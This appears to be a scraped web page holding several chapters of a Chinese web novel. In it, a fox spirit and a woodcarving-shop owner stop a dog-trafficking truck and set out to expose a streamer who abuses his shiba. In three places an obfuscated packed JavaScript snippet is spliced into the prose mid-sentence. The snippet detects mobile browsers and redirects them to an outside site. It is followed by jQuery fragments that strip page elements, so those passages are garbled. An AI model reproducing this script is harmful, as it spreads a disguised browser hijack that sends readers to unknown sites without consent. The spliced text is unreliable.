“欧呦，你们俩感情真好哇，在一起多久啦？你是不知道昨天拉了一对情侣，在我车上吵架吵了一路，吵得我耳根都疼。” 司机师傅叽里呱啦地跟两人拉着家常，小柳看他把自己和店长当成情侣了，心里很开心，对司机师傅也很有好感，两人你来我往聊得起劲。 木青杨在一旁闭目养神，静静听着，心情也很不错。 …… “下高速了哦，路程过半了。”司机师傅欢快地说。 “嗝~”一书包零食被小柳吃个精光。 第一次坐车的小狐狸很是兴奋，和司机师傅聊天的空档，嘴里塞得满满当当，眼睛也不闲着，透过车窗看向外面。 一路上从霓虹闪烁行至灯火阑珊。 司机师傅不知看到了什么，“诶”了一声，吸引了小柳的注意力。 小柳向前挡风玻璃看去，师傅接着说道：“哎呦，前面这车里好多狗啊。” 小柳夜视能力比普通人要强得多，前面是辆大卡车，车厢上包覆着的塑料布没遮严实，随着车辆行进，塑料布被刮开，露出了“货物”——层层叠叠的狗笼子。 “师傅，您往前开开，跟在前面那辆车后面。” 木青杨感觉事情不太对劲，也探着身子跟大家一起观察。 随着车越驶越近，小柳听到了很多狗狗的求救声，司机师傅下了定论：“这**绝对是狗贩子的运狗车。” “报警吧。”木青杨拿出手机录下了运狗车的视频，拨打了110，跟接线员说明了车牌号和车辆信息。 木青杨似乎察觉到了小柳的紧张情绪，挂掉报警电话后，拽拽小柳的胳膊，轻声说道：“别担心，警察马上就会来。” 小柳手握着门把手，极力克制自己想要跳车去救狗的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126312|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这是人类社会，跑得比车快、力气比车大的是怪物，小柳不能暴露自己妖怪的身份，不能冲动，只能寄希望于人类警察。 突然，前面的大卡车一个急刹，司机师傅也跟着猛踩刹车，小柳因为惯性身体猛地向前倾，幸亏木青杨伸手挡住了她，否则小柳冲出去非得把车撞坏不可。 运狗的大卡车不知碰到了什么事，突然停了车。 司机师傅骂骂咧咧地下车想要理论，卡车急刹搞得他差点追尾，这么危险的事一定得找前车说道说道。 小柳和木青杨跟着司机师傅下了车，绕到前面一看，才发现卡车是被一辆黑色越野车逼停的。 “你就是那个狗贩子？”越野车下来一个穿着黑色紧身背心、戴着鸭舌帽的强壮男人，一看这气势就十分不好惹，向着大卡车司机喊话。 大卡车司机和副驾一共两个男人，此时都下了车，他们的体型瘦得像竹竿，合在一起还没越野车司机身强体壮。 本来大卡车司机嘴里不干净，不爽地嘟囔着脏话，一看黑背心男人这么壮实，也噤了声。 没人回答黑背心的话，木青杨适时开口：“肯定是非法运狗车，我们已经报警了。” 狗贩子们听木青杨已经报警了，一下子着了急，当即就想上车，溜之大吉。 可黑背心不会让他们如愿，一把拽住大卡车司机的衣领，掐着他的后脖颈子，将他抵在前车头上动弹不得。 副驾驶狗贩子见状，站到了稍远一点的地方，避开黑背心的攻击范围，打着电话，称自己被拦住了，叫同伙来支援。 木青杨对司机说：“师傅，不好意思耽误您时间，这单我加钱，您陪我们等着警察，等警察来了我们再出发。” 热心肠的司机师傅满口答应：“没问题。” 木青杨和司机师傅挡在副驾驶车门口，盯着副驾驶狗贩子，和他对峙着。 狗贩子嚣张地威胁道：“兄弟们一会儿就到，我劝你带着你女朋友早点滚蛋。” 木青杨冷哼一声，心想警察马上到了，到时候等着拘留吧你。 小柳的注意力完全被这一车可怜的狗狗吸引，此起彼伏的求救声、呜咽声交织在一起，让她忍不住红了眼眶。 她将车厢上的挡布掀开，这才发现不仅有小狗，还有小猫，动物们的情况很不好，笼子狭窄拥挤，为了节省空间，好几只小狗被塞在一个笼子里。 空气里隐约有一股臭味，有些小猫应激，在笼子里微微颤抖着，已经失禁…… 小柳倾听着小动物们的哭诉，有被偷来的，有被下药迷晕抓来的，更有甚者身上被打的全是伤口。 小柳感觉自己的脸颊好烫，持续耳鸣让她听不清周遭的声音，愤怒让灵识躁动不安。 下山后她一直在木青杨的身边过着平静的生活，这还是第一次感受到如此强烈的愤怒。 她的视野渐渐猩红一片，周遭的一切扭曲变形，不远处木青杨的身影不再清晰。 远处吵吵嚷嚷的声音吸引了小柳的注意力，她眯着眼睛努力分辨来人。 十几个男人正朝着这边快速跑过来，手里拿着武器，正是狗贩子口中的同伙。 8. 危机 小柳的眼睛变成了血红色，灵识汹涌，愤怒已经快压抑不住了，过不了多久她可能会控制不住现原形。 她闭上眼睛深深吸气，不知怎的，猛地睁眼。 “姐姐，救救我吧……”一声小小的呼救声传进了小柳的耳朵。 声音的来源是一只倚在笼子边缘的小三花，小柳看不清晰，只能通过深红色的轮廓线判断出这是只小猫。 它的后腿断了，卡在笼子缝隙中，大卡车在行进过程中颠簸不断，每一次晃动都会带来一阵刺痛，它的嗓子喊哑了，也没有力气挣扎，血顺着伤口流走，弥留之际的小猫用最后一点力气向小柳求救。 小柳伸手摸向那团深红色，试图安抚它，伸过去的手却被笼子阻隔。 她轻轻一使劲铁笼子被掰开一个大口子，摸到小猫断腿处，小心翼翼地用手掌托着，凝聚灵识帮它接骨，待小猫稍稍恢复后，小柳将小猫抱出来，贴在自己怀里。 和小三花情况类似的小动物还有很多很多，此起彼伏的呼救声太多，小柳一时不知该先救哪一个。 正在她犹豫之际，狗贩子同伙已经离卡车越来越近。 为首的男人光头却留着大胡子，满脸横肉，胳膊上描龙画凤的，冲着小柳大喝一声。 “哎，你干什么的？”大胡子手里的棍子扬起，直指小柳。 木青杨大步迈开，一把抓住大胡子的棍子，很是生气反问他：“你又是干什么的！” 小柳见自家店长来了，忙低下头，生怕他看到自己血红的双眼，安抚着小猫的背脊，没有暴露出异样。 大胡子有意要吓唬小姑娘，没想到被个小白脸挡了路，十分不爽。 他怒气冲冲地问：“就是你们要报警？” “对！你们涉嫌非法活体动物交易，警察已经在路上了，识相的就别来自投罗网。” “放你娘的屁。你哪只眼睛看到我们非法了？狗肉猫肉有的是人吃，你爷爷我就爱吃，怎么着？”大胡子边说着话，边持棍往前挤，嚣张地往木青杨身上贴。 木青杨一把将小柳护在身后，昂首挡着大胡子，大胡子虽凶神恶煞，架不住人长得矮，被高个一挡，只能抬着头怒视木青杨，气势上便输了一截。 大胡子看木青杨他们没被吓住，又听说警察快来了，啐了一口，吩咐手下速战速决，解决木青杨他们，让狗贩子小弟能驱车离开。 于是，十来个描龙画凤的的男人仗着人多势众，自动分成三撮，第一撮人数最多，专门对付黑背心猛男，狗贩子们不要脸地启动人海战术，一个拽着黑背心的腰，一个掰他的手腕，一个卡着他的脖子……不一会儿工夫，猛男身上挂了六个人。 黑背心猛男被人卡着脖，脸憋得通红，过了没多久，终是坚持不住了，手一松，被压在前车盖上的狗贩子，趁机溜之大吉，向着卡车驾驶座车门一路小跑。 第二撮只有两人，这两人对战堵着车门的网约车司机师傅，司机师傅毕竟上了年纪，长期久坐，身上没什么力气，狗贩子一折腾，根本招架不住，几下便被甩到了一边，跌倒在田埂上，“哎呦、哎呦”地揉着尾巴骨。 包括大胡子在内，剩下五个人围攻木青杨和小柳，尽管有木青杨的遮挡，大胡子眼神还是黏在小柳身上，多次出言不逊。 “呦，怎么还有个小妞呢，刚刚是哥哥没看清，还以为是谁家的小孩，白裙子挺好看的，抬起头来让大家看看呗，害羞什么？” 大胡子轻佻的话成功激怒了木青杨，他握紧拳头跟几人扭打在一起，可人单力薄，占不到什么便宜。 小柳见自家店长被揍，顿时急了，强压的怒火一下子冲上了脑袋，她把小猫轻轻放在笼子上，转过身冲着大胡子这帮人睁开了血红的眼睛。 木青杨背对着小柳，只看到大胡子脸上吃惊的表情，刚想回头查看小柳的情况，一个白色的人影瞬间从他身边冲出去，极快的身法带着风，交睫之间，五个男人全都变成了软脚虾，纷纷跌倒，棍棒劈里啪啦掉了一地，捂着胳膊腿哀嚎。 大胡子伤得最重，鼻青脸肿，门牙都被打掉了，这下这张臭如粪坑的嘴再也讲不出半句话了。 木青杨都不敢相信这是小柳所为，毕竟小柳在他心里只是个饭量略大的小女孩，伤心的时候还经常哭鼻子，和眼前这个一人单挑多个壮汉的女壮士判若两人。 他揉揉酸痛的拳头，对着纯白裙子的背影轻声唤道：“小柳……” 小柳脚步一顿，却没回头，“要跟人一样和恩人自然地相处”，这是她下山时给自己定下的规矩。 要想在人世间生活，她必须守规矩，此刻如果一回头，血红的眼睛就会出卖她，五百年前被人当成怪物的事情，绝不能再发生第二次了。 “轰隆隆”，卡车引擎的声音响起，狗贩子已经成功地进入驾驶室，挂挡准备逃跑了。 小柳速度很快，所到之处倒下一群男人，视线紧紧追随小柳的木青杨着实吃了一惊，可情况紧急，他来不及多想，只能尽力跟上做好后援，踹一脚试图爬起身的狗贩子，以免有人在背后偷袭小柳。 黑背心猛男仍被那几个男人牵制着，小柳略过几人，径直走向驾驶室，卡车司机看到小柳血红的眼睛，以为见了鬼，手忙脚乱地给车门上锁。 只可惜他还是低估了怪力少女的力气，小柳拽住门把手，使劲一扯，咔啦，车门被硬生生拽了下来。 卡车司机只看见一双芊芊玉手朝自己伸过来，下一秒，他整个人便被提溜了出去，小柳把他举过头顶，往前一抛，卡车司机狠狠地摔在了路边，刚好降落在网约车司机师傅旁边。 仇人见面分外眼红，司机师傅一看该死的狗贩子倒在一边，扶着自己酸痛的老腰，硬是往前探探身子，踹了狗贩子好几脚，狠狠出了口恶气。 车中已无人，狗贩子们终究是走不成了。 他们被小柳打得七零八落、东倒西歪，只剩黑背心猛男那边还有几个不识相的负隅顽抗。 小柳解决了卡车司机，终于得空帮助黑背心。 她冲过去，以迅雷不及掩耳之势给了六个狗贩子一人一拳，黑背心被勒着的脖子总算有了活动空间，被钳制了这么久终于能喘口气了，放松下来的他战斗力也恢复如初，几下便把狗贩子收拾得明明白白。 “小姑娘，谢谢你。”黑背心腼腆地向小柳道谢，没想到这么一个瘦弱的小姑娘身手竟然这么好。 小柳低着头摆摆手表示不用客气。 灵识调动得越频繁，她越是想要变回原形，狐身与人形像天平的两端，不断使用妖力，天平便不断向狐身倾斜。 小柳觉得自己尾椎痒痒的，糟糕，尾巴马上要出来了。眼睛变红可以靠低头掩饰，毛茸茸的大尾巴可怎么藏。 木青杨跟在后面收拾残局，把狗贩子们拖到一边交给司机师傅看管，终于腾出手来察看小柳的情况。 “小柳，怎么样？你有没有受伤？” 小柳听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126313|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自家店长担心的语气，心情紧张不由得渗出一身薄汗，尾椎好痒，怎么办，要藏不住了。 黑背心也察觉不对，上前查看。 小柳被这一黑一白两人前后夹击，钉在原地不知该如何应对。 就在尾巴即将长出来的前一秒，小柳干脆把心一横，闭着眼睛直挺挺地倒了下去，一屁股墩把呼之欲出地尾巴墩了回去。 木青杨一个箭步冲上了托起小柳的上半身，忙着呼喊她的名字。 小柳铁了心就是不睁眼，遇事不决昏迷逃避，这也是小柳通过电视剧学到的锦囊妙计。 黑背心也慌了神，小姑娘和一帮子描龙画凤的大老爷们比划，就算身手好，也得累得筋疲力尽，再加上夏夜闷热，剧烈运动中暑也是常有的事。 他忙摘下鸭舌帽，蹲在小柳身边，用帽檐给她扇着风。 “谢谢谢谢。”木青杨正向黑背心道谢，看着他的脸突然有种很熟悉的感觉，心下一动，这不是鹏哥嘛？ 鹏哥，【鹏哥（狗狗好伙伴）】号主，也就是大头即将把多宝送去的狗狗学校的校长，真是踏破铁鞋无觅处，得来全不费工夫，竟然在这里遇到了。 木青杨还没来得及跟鹏哥说话，“嘀呜~嘀呜~”远处的警笛声越来越响亮，车灯照亮了现场的狗笼子，警察叔叔终于到了。 …… “警察同志，事情就是这样，这帮狗贩子太可恶了，你瞅瞅他们给我打的！”网约车司机师傅一看警察叔叔来了，瞬间腰不酸了腿不疼了，说话更有底气了，倒豆子一般控诉着狗贩子的恶行。 “您是说这帮狗贩子全是这姑娘一个人打倒的？”警察不可置信地问司机师傅。 司机师傅无比坚定地点点头，鹏哥也为他作证，绘声绘色地讲了一遍小柳的英勇事迹，看着坐在警车后座上休息的战损小柳，满眼都是小星星。 木青杨坐在小柳身边，给她额头上搭了块湿毛巾，眼里满是愧疚，他陪小柳去狗学校就是为了保证她的安全，结果现在倒好，遇到坏人全靠小柳自救，把人都累晕了，木青杨暗下决心，等这次回去，誓要把哑铃抡出火星子，强身健体，至少要练到鹏哥那种程度。 身为专业人士，警察叔叔效率就是高，三下五除二便把狗贩子们查了个底朝天，老窝都被问了出来，这帮狗贩子果然在非法偷盗、抢夺小狗小猫，再私下非法买卖。 鹏哥充分利用自己的人脉，几个电话摇来了附近宠物医院的工作人员，帮小动物们现场问诊，一时间，乡间小道上人声鼎沸。 小柳察觉到眼睛不再发烫，尾椎不再痒痒，才在这热闹中幽幽转醒，一睁眼便对上了木青杨的脸。 “终于醒了，快，喝点水。”木青杨小心地把矿泉水倒到小瓶盖里，喂小柳喝水。 小柳就着他的手喝了口水，不好意思地说：“店长，我就是力气比较大，你别误会，我不是什么怪物。” 木青杨一听刚从昏迷中醒来的小柳第一件事就是跟自己解释，心里不是滋味，轻声说道：“我知道，吃得多力气大是好事，力气大有福，你是少见的福星。” 这话一出，小柳还没反应过来，木青杨反倒自己先红了脸，什么吃得多，什么福星，死嘴在说什么乱七八糟的事情。 不过小柳一听店长没把自己当怪物就心满意足了，才没那个脑子去深究他在讲什么。 她只顾着感慨自己的好运气，好险好险，差点露出狐狸尾巴，那一屁股墩摔得真值！ 9. 真相 这一晚上忙忙碌碌，先是和狗贩子们干了一仗，又忙着去警察局做笔录，一通流程下来，已经将近午夜了。 鹏哥做完笔录，终于腾出时间来跟坐在等候区休息的小柳套近乎。 “小姑娘，你叫小柳是吗？身手也太好了吧，多亏你帮忙才把这帮狗崽子收拾了。” 鹏哥自来熟地坐在小柳旁边，两只眼睛里满是欣赏，像是健身教练看到了喝凉水都长肌肉的健身圣体。 在热忱的目光欻欻发射下，小柳不禁红了脸，连连摆手说道：“哪里哪里，您才厉害呢，六个人一起都打不过，幸亏您先拦了车，要不就让坏人跑了。” 木青杨端着杯温水从不远处走过来，第一眼便锁定了等候区里有说有笑的两人，加快步伐走向小柳。 鹏哥感觉有道锐利的目光盯着自己，周围的空气似乎都冷了几度，不适感让他抬起头一看，木青杨刚好走到他身边。 鹏哥心里直犯嘀咕，这莫名其妙的敌意是怎么回事？ 木青杨把水递给小柳，拉着状况外的小柳起身，占了她的位置，让她往旁边挪了挪，自顾自的一屁股坐在了鹏哥和小柳中间，扯出一个友好的微笑说：“您是鹏哥吧，我看过您的视频。” 原来是粉丝啊，鹏哥顿感自豪，笑着和木青杨握了握手。 “您怎么……” “这个小姑娘……” 木青杨和鹏哥同时开口说话，刚开了个头又同时噤了声，鹏哥大度地让木青杨先说。 “您怎么会正好拦下运狗车呢，我看您是从反方向开过来的，路上发现运狗车的吗？” 鹏哥拿起手机，在视频软件后台粉丝群里翻找一会儿，给木青杨和小柳展示聊天记录，说道：“喏，是我粉丝群里有人说十字路口疑似有辆运狗车，我的学校正好离得不远，就来看看情况，没想到仔细一看还真是运狗车。你们呢？” “我们开车刚好走在后面，车厢没盖严实，一下就发现不对劲了。”小柳从木青杨肩膀后探出个小脑袋抢先回答。 回答完鹏哥的问话，她又转过头冲着木青杨问道：“这是我们要找的‘鹏哥’吗？” 木青杨点点头。 鹏哥见状有点摸不着头脑，疑惑道：“你们找我吗？找我干啥？” 木青杨解释道：“这件事情说来话长，简单说我们是为了多宝来的，就是那只【大头与多宝】视频账号里的小柴犬。” “对，明天上午是有只小柴犬要送过来住校，你们找它有事吗？”鹏哥依旧不明白，挠着头问。 网约车师傅刚结束笔录，朝着小柳他们一瘸一拐地走过来，边走边嚷嚷着累，今晚这一通比通宵跑车还难受，因肾上腺素分泌麻痹了的伤口，一旦放松下来，疼痛又卷土重来，他的腰间盘、尾巴骨、波棱盖儿没有一处不疼的。 木青杨和小柳还没顾上跟鹏哥进一步解释，就先急急忙忙起身扶着师傅坐下。 “小伙子，我这得算工伤吧……”师傅双手一摊无奈地说。 “算、必须算，今天辛苦您了，”木青杨从书包里拿出钱夹，抽出几张红票子塞到师傅手中，安抚道：“车费在平台上结算，这些算我们补给您的误工费，真是不好意思，没想到狗贩子这么凶。” 司机师傅见木青杨这么上道，而且抓狗贩子毕竟是积德的好事，没再计较，只是支支吾吾地说：“可接下来的路我实在是没法送你们了，我这老腰可经不起折腾，不过离得不远，你们顺着路往前走走，大概还有五公里就到。” 一旁的鹏哥问：“去哪儿啊，去我学校吗？” 小柳点头如捣蒜。 鹏哥顿时喜滋滋的，对着小柳说：“去我学校雇啥车啊，咱们一起，我带你们。晚上住我学校，有的是房间。” 木青杨看他对小柳这热乎劲儿，真想一口拒绝，可是现在外面黑灯瞎火的上哪儿打车呢？总不能让小柳跟着自己大半夜吭哧吭哧走路吧。 木青杨暗下决心，回去以后一定找机会去学车考驾照。 这趟出来，别的事情还没干，倒是下了不少决心，木青杨自嘲地笑笑，说道：“那就麻烦鹏哥了。” 二人坐上了鹏哥的大越野，小柳坐后座，木青杨在副驾驶。 引擎启动，木青杨接上了因司机师傅打岔没问出的话茬：“鹏哥，你刚刚想问什么来着？” 鹏哥干笑两声，故作轻松地问：“那什么，我就是看小柳妹妹和你关系挺好，想问问你俩什么关系来着，毕竟晚上要安排住处，不知道一个房间合适还是两个房间合适……” 小柳在后座上坐不安稳，从前排两人中间探出身子，盯着木青杨等他的回答。 木青杨余光扫到小柳，伸手把她的脑袋推了回去，“坐好！”，又从钱夹里掏张名片出来递给鹏哥，笑着说：“小柳是我助理。” 鹏哥羡慕地说：“哪儿找的这么好的员工啊，这么能干，给我传授传授招人经验呗。” 趁着等红灯的空档，鹏哥边看名片边嘟囔：“青杨宠物木雕？名字好耳熟啊……诶，你们不就是那个跟大头起冲突的账号吗？” “小柳，做宠物沟通的女主播是你吗？”鹏哥通过车内后视镜对着小柳问道。 “鹏哥，你觉得我像吗？” 鹏哥看看小柳又看看路，重复瞅了几眼，可能是直播间里开了美颜，小柳今晚又总是低着头的原因，一时间没认出来，现在仔细一看，这五官这长相，真是主播本人。 “像，怪不得你们找多宝呢？这到底咋回事啊？” 大家也都互通身份了，木青杨不再藏着掖着，伴着动次打次的车载音乐说明了来意。 …… 狗狗学校内。 “鹏哥，那个大头真是个坏人。”小柳边下车边愤恨地控诉大头的恶行。 虽然木青杨他们说的有鼻子有眼，而且小柳绝对是爱宠人士，但鹏哥还是有点不敢相信，毕竟他在网络上认识大头挺长时间了，熟悉的人总是显得更可信一些。 不过小柳今晚帮了自己，身手又那么好，鹏哥的心已经不由自主地偏向了木雕店两人，他从车里出来招呼两人往不远处的小二层独栋走去。 “这两个客房有点简陋，今天太晚了，先将就一天，好好休息吧，”鹏哥带着两人来到客房，又对着小柳说：“多宝的事情不用太担心，咱先把狗接过来，等狗入学了该检查检查，真有什么事再商量也不迟。” 木青杨见鹏哥说的诚恳，也不再忙着解释，明天接到多宝事情自有定论。 翌日。 小柳和木青杨站在客房窗边，看着楼下绿荫草地，大头牵着狗绳亲手把多宝交给了鹏哥，全称举着手机不忘录像。 “真会装模作样。”小柳忿忿不平地说。 “好歹是找到狗了，等会儿再跟鹏哥商量商量怎么办吧。”木青杨安慰道。 仇人见面分外眼红，小柳对着大头的大脑袋隔空打了一套军体拳。 大头感觉头顶凉飕飕，太阳穴还有点刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126314|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛，摸摸脑袋，抬头看向风的来处，透过窗玻璃隐约瞧看个一闪而过的人影。 木青杨一看大头朝这边张望，迅速把小柳拉开，免得让大头起疑。 鹏哥顺利接到多宝，跟大头签完狗狗学校的入学协议，说了几句客套话，便没了动作。 大头心里很是奇怪，当了这么久的网友好不容易面基，这鹏哥也太不讲究了，也不说尽地主之谊请吃个便饭。 不过，今天来主要是为了拍多宝入学视频，能跟粉丝交差就好，别的他才不在乎。 凑够了剪辑样本，大头便跟鹏哥道别，走的时候都没多看多宝一眼，像是甩掉了一个麻烦，连一句问候都没有一溜烟边开着车走远了。 不管大头有没有虐狗，他对多宝没多少感情是板上钉钉的事，多宝对大头同样没什么感情，狗子一靠近主人明显夹着尾巴焦躁不安。 鹏哥对小柳的信任度又提高了几分。 “多宝！”小柳在大头走后，第一时间下楼看望自己的狗狗朋友。 多宝一听到熟悉的声音，耳朵竖起，整个狗静止几秒，像是在确认什么，认出了小柳正是手机屏幕里的大姐姐后，多宝向着小柳兴奋地爆冲，牵着狗绳的鹏哥差点被它拖着摔倒。 “终于接到你了！”小柳看到多宝也是同样的兴奋，一人一狗连扑带抱，鹏哥一看这架势连忙松开狗绳，以免被误伤。 木青杨站在一旁冷静地对鹏哥说：“见笑了，孩子比较活泼。” 真是有活力，大鹏看小柳越看越喜欢，要不是碍眼的木青杨杵在一边，他都想邀请小柳来狗狗学校任职了，这玩耍方式，这亲和力，小柳是个训犬师好苗子。 “多宝冷静，姐姐看看你。”小柳伸手放在多宝头上，小狗瞬间乖巧，乖乖坐着任她抚摸，小柳上上下下检查了一遍，没瞧出什么毛病，看来大头为了不影响多宝出境，虐狗的方式确实隐蔽。 木青杨也蹲下身来，观察多宝，可多宝一见木青杨靠近，便往小柳身边缩，显然很怕生人。 木青杨提议道：“鹏哥，等会儿能不能一起去带小狗检查一下？” “没问题。”鹏哥干脆利落答应下来，多宝现在是狗学校的同学，学校有照看它的义务，这都是应该做的，何况他也想知道狗狗身体状态到底怎么样。 …… 鹏哥相熟的宠物医院。 “廖院长，狗子咋样啊，能看出点啥来不。”鹏哥一看廖院长给多宝检查完了，便赶紧迎上去询问。 平时只有出现其他医生解决不了的疑难杂症或做不下来的复杂手术时，廖院长才会出手，这次是接到鹏哥的电话，火急火燎赶过来紧急出诊。 “这个小狗啊，表面看不出什么，它受的全是内伤。平时一碰它是不是就炸毛、容易咬人呐？” 鹏哥和木青杨对视一眼，同时点头。 “这就是了，它不是故意要咬人的，它疼啊，全是皮下内伤，得好好养养了。还有点营养不良，得亏是毛厚看不太出来。”廖院长边说边叹气摇摇头，不知是谁干的缺德事。 “医生，那小狗有没有生育过，能看出来吗？”小柳小声问。 “你看从它的牙齿能看出来得有四五岁了，把胸腹毛拨开也能看到乳｜头褶皱比较多，应该是生过的。” 听完医生的话，三人心里难受极了，小柳抱着多宝回到车上，忍不住抹了一路眼泪。 大鹏气得一拳砸在方向盘上，“这个该死的大头，绝对不能放过他！” 10. 伙伴 给多宝检查完身体，众人刚回到学校，便发现大头这个不要脸的虐狗坏蛋更了新视频。 视频标题【送多宝去上学全天vlog】，大头在视频里表示多宝会在狗狗学校寄宿一段时间，让专业训犬师调整行为习惯。 此外，大头还装作愧疚地向网友道歉，懊悔之前自己太纵容多宝，没有好好训练它，这对狗狗来说反而是一种伤害。 最后，大头宣布自己要停更一段时间，给多宝更多成长的时间，之后会以更好的状态跟大家见面。 “他还演上了！”鹏哥把手机屏幕戳得邦邦响，“狗都被他养成这样了，还假装呢，你们看看下面的评论，网友都被他骗了。” 尽管大头以往的视频里有些争议片段，不过大多数网友还是认为，他既然能把多宝送到狗学校，就足以显示出对多宝的重视，因此评论区前排一片赞扬之声： 【大头真是个好主人，多宝碰到这么好的主人是它的福气。】 【我只想知道黑粉在哪儿，被打脸打得爽吗？】 【汪汪，爸爸我也是你失散多年的狗儿子，我也想去上学！】 【期待多宝回归，争取变成好狗宝~】 【恶意剪辑**，都说了让子弹飞一会儿！】 偶有几个质疑的声音也被大批粉丝评论刷了下去。 “让子弹飞一会儿是什么意思啊？”小柳坐在沙发上抱着多宝，问木青杨。 “没什么意思，反正就是说大家都错怪大头了。”木青杨扶着额头滑动手机，揉揉太阳穴，敷衍地回答。木雕店评论区里同样涌上一大堆大头的粉丝，叽叽喳喳的辱骂看得他眼晕。 小柳也后知后觉地发现了【青杨宠物木雕】评论区的“盛况”，翻了几页，眼睛都要看喷火了，她啪得一声把手机倒扣在一边，眼不见心不烦。 “店长，好多人骂我们，他们什么都不知道就乱骂人，都怪大头！我们一定得揭发他！”小柳气愤地说，怀里的多宝也感受到了她的情绪，叫了两声作为回应。 “对！他还拉我下水呢，文案里还@我呢，你们看到了没，这个臭不要脸的，呸！”鹏哥气得团团转，没想到自己只是收了个狗学生，竟被对方当枪使，拿自己的好口碑给虐狗变态撑了场子。 鹏哥评论区里也来了很多大头的粉丝，纷纷留言，期待鹏哥更新多宝在狗狗学校的日常。一时间，鹏哥简直成了为大头引流的宣传大使。 “喂，小赵，让食堂炒几个菜，等会儿食堂见，有两个朋友一起。”鹏哥冷静下来，给员工打了个电话，跟木青杨和小柳解释道：“小赵是我视频账号的运营，我们手里有证据，发个视频揭发他，就让大头继续这么骗人也不是个事。” “就是就是，他还说今晚要直播卖宠物用品呢，视频停更了，直播不停。”小柳不爽地说，从那场直播发展到现在，大头粉丝先掉后涨，甚至还比之前多了一些。 “而且多宝名义上还是他的狗，学校也不能保护它一辈子，咱们得趁着多宝脱离大头这段时间，让他在互联网上消失，阻止他把多宝带走。” 木青杨说罢伸出手，试图摸摸多宝，经过几个小时的相处，多宝心情放松了许多，对木青杨的抚摸没那么抗拒了，甚至还眯起了眼。 真是个好宝宝，被人类伤害了那么多次，再一次面对生人，还是选择了相信，小柳心疼地抱抱它。 “大半天了还没顾上吃饭，饿死我了，咱们先去员工食堂吧，我让师傅炒了几个菜，学校位置偏僻，周围也没什么外卖可吃。”鹏哥摸摸叽里咕噜的肚子，带着二人前往食堂。 …… “哥，咱都有证据，你还担心啥？”小赵腮帮子鼓鼓囊囊的，向鹏哥打包票，“鹏哥你把去医院拍的素材发我，我今天就开始剪辑，大家放心吧。” 木青杨看着同样腮帮子鼓鼓囊囊的小柳，不动声色地给她夹了块排骨，再不快点夹，肉就要被小赵吃光了，他心里感慨，真是饭桶遇饭桶，不过总归不能让自家饭桶吃亏。 同样感慨的还有举着筷子不知从何下手的鹏哥，没想到小柳看着苗条，竟然这么能吃，他默默地打消了挖角小柳的念头。 一个小赵战斗力就够强了，再加上小柳，这一桌菜根本不够吃啊，鹏哥眼看着，对面的木青杨显然已经放弃了吃饭，一个劲地给小柳夹菜，这体贴入微的劲儿让他自愧不如。 同样是老板，他一看到小赵的吃相就浑身难受，更别提给小赵夹菜了，鹏哥感叹自己还是格局不够。 既然夹不了菜，那就鼓励一下吧，鹏哥赞许地对小赵说：“很好，有干劲，好好剪，把大头视频里的疑点也剪进去，突出一个有理有据。” “没问题！” 趁着两人对话的空档，木青杨又给小柳夹了片牛肉…… 事情没了结，小柳和木青杨的狗狗学校暂住生活仍在继续。 第一天多宝刚来，暂时和小柳住一起，小柳负责安抚它的情绪，鹏哥特地嘱咐其他人不要过多地接触多宝，以免小狗害怕应激。 于是小柳抱了些玩具，关起门来和多宝玩了个爽。 她甚至把门反锁，偷偷化了原形，多宝一看大姐姐变得和自己一样高、一样毛茸茸，兴奋地汪汪叫，尾巴翘得老高。 小柳抬起前爪，跟多宝说：“乖狗狗，你要帮姐姐保密，我们小声玩哦。” 多宝听话，乖乖地降低了声音。 一狗一狐互相嗅闻着，在狭窄的客房里跑跑跳跳，嘴里叼着毛绒玩具甩出去又追着玩，你追我赶快乐极了。 一直玩到晚饭前木青杨来敲门，小柳才变回人形，理理蓬乱的头发，跟着他去了食堂。 当天晚上是小柳下山以来睡得最香的一晚，这感觉让她想起了狐狸洞，那时她还和其他小狐狸住在一起，小伙伴们总是挤在一块睡觉，你的爪子搭着我的头，我的后腿揣在你怀里。 在漆黑封印下独自熬过的那五百年里，她时常回味着和小伙伴一起时，闹哄哄、热乎乎的安全感，边怀念边掉眼泪。 如今这种感觉再一次出现了，狐狸小柳和狗狗多宝挤在一张小床上，前爪后腿搭在一起，多宝的毛绒脑袋直往小柳胸口钻，两只脑袋凑在一起，一夜好眠。 第二天小柳神清气爽地迎接朝阳，早早带着多宝下了楼。 夏日清晨温热的阳光伴着青草香气将全身笼罩，多宝在小柳的陪伴下，在草坪上撒欢，时候还早，其他狗狗同学还没到学校，多宝独自拥有了整片草坪。 木青杨在窗边，手里捧杯温水，看着在草坪上玩耍的小柳和多 